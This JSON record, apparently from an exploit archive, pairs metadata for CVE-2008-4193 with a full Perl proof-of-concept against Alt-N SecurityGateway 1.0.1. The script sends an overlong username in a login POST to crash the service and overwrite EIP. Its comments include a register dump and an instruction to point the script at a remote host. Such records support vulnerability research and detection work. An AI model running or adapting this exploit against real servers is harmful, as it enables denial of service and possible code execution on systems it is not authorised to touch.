{"exploit":{"id":"EDB-5718","name":"Alt-N SecurityGateway 1.0.1 - 'Username' Remote Buffer Overflow (PoC)","description":"Alt-N SecurityGateway 1.0.1 - 'Username' Remote Buffer Overflow (PoC)","cves":["CVE-2008-4193"],"author":"securfrog","published":"2008-06-01","platform":"windows","type":"dos","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5718","path":"exploits/windows/dos/5718.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5718.pl","vulnerabilities":[{"id":"CVE-2008-4193","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in SecurityGateway.dll in Alt-N Technologies SecurityGateway 1.0.1 allows remote attackers to execute arbitrary code via a long username parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-4193","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-4193"},"updatedAt":"2024-08-07T10:08:34.913Z","retrievedAt":"2026-11-27T09:00:43.900Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5718.png?v=2","url":"https://exploitbin.com/exploits/EDB-5718","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5718/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5718/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##################################################################################################################\n# SecurityGateway 1.0.1 Remote Buffer Overflow ( username)\n# Vendor: http://www.altn.com/\n# risk : critical\n#SecurityGateway open port 4000 for remote administration/managment, EIP get owned  when the username field is filled with 720 chars\n#\n#eax=00000000 ebx=00000000 ecx=63636363 edx=7c9137d8 esi=00000000 edi=00000000\n#eip=63636363 esp=042ce910 ebp=042ce930 iopl=0         nv up ei pl zr na pe nc\n#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\n#63636363 ??              ???\n#\n# Replace http://127.0.0.1:4000/ with your remote host.\n\nuse LWP::UserAgent;\n$connect = LWP::UserAgent->new;\nmy $payload1 =\"a\" x 236;\nmy $payload2 =\"b\" x 480;\nmy $eip_owned = \"c\" x 4;\n\nprint \"SecurityGateway Remote BoF exploit by securfrog.\\n\\n\";\nmy $req = HTTP::Request->new(POST => 'http://127.0.0.1:4000/SecurityGateway.dll');\n$req->content_type('application/x-www-form-urlencoded');\n$req->content('RequestedPage=login&username='.$payload2.$eip_owned.$payload1.'&passwd=world&lang=en&logon=Sign+In');\nmy $res = $connect->request($req);\nprint $res->as_string;\nprint \"Exploit successfull\\n\";\n\n# milw0rm.com [2008-06-01]","sha256":"149f76c6c5e8a0c3c41f61384deb6fee7d89a25be93315397c4401416d32b5d6","bytes":1247,"fetchedAt":"2026-11-27T15:10:56.087Z","encoding":"utf-8 (display only; download retains original bytes)"}